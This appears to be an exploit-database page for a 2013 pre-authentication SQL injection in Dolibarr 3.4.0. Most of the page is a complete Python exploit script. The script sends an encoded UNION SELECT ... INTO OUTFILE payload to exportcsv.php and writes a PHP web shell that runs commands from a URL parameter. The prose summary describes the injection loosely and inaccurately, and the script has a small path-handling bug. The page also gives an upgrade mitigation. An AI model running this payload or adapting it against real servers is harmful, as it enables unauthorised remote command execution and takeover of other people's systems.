header-logo
Suggest Exploit
vendor:
Dolibarr
by:
drone (@dronesec)
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Dolibarr
Affected Version From: 3.4.0
Affected Version To: 3.4.0
Patch Exists: YES
Related CWE: N/A
CPE: a:dolibarr:dolibarr:3.4.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 12.04
2013

Dolibarr 3.4.0 SQLi

This exploit allows an attacker to inject malicious code into the Dolibarr 3.4.0 web application. The malicious code is injected into the 'exportcsv.php' file, which is then used to execute arbitrary commands on the server. The exploit was discovered by drone (@dronesec) in 2013 and affects Dolibarr versions 3.4.0 and below. The vulnerability was patched in version 3.4.1.

Mitigation:

Upgrade to the latest version of Dolibarr (3.4.1 or later)
Source

Exploit-DB raw data:

# Exploit Title: Dolibarr 3.4.0 SQLi
# Date: 10/7/2013
# Exploit author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html
# Vendor homepage: http://www.dolibarr.org/
# Software link: 
# Version: 3.4.0
# Fixed in: 3.4.1
# Tested on: Ubuntu 12.04 (apparmor disabled)

import urllib2
import string
import random
from argparse import ArgumentParser

""" Preauth web shell via SQL injection
    Dolibarr 3.4.0
"""

def run(options):
    """ run exploit
    """
    print '[!] Dropping web shell on %s...' % options.ip
    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
    sqli = 'http://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\
                                            .format(options.ip, options.rootp)

    # ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -
    exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\
              ',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\
                        .format(options.path, shell)

    try:
        urllib2.urlopen(sqli + exploit)
        print '[!] Shell dropped.  http://%s%s/documents/%s.php?cmd=ls' % \
                                                    (options.ip, options.rootp, shell)
    except Exception, e:
        print '[-] %s' % e

def parse():
    """ Parse cli
    """
    parser = ArgumentParser()
    parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)
    parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',
                            default='/dolibarr', dest='rootp')
    parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',
                            action='store', default='/var/www/dolibarr/documents', dest='path')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__ == "__main__":
    run(parse())